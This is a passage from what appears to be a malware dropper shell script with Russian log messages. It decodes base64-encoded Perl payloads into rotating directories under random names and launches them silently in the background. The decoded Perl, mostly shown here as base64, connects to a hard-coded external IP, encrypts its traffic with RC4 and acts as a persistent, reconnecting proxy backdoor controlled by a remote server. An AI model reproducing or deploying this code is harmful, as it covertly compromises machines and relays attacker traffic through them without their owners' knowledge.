ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #24 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #24 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 25 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg 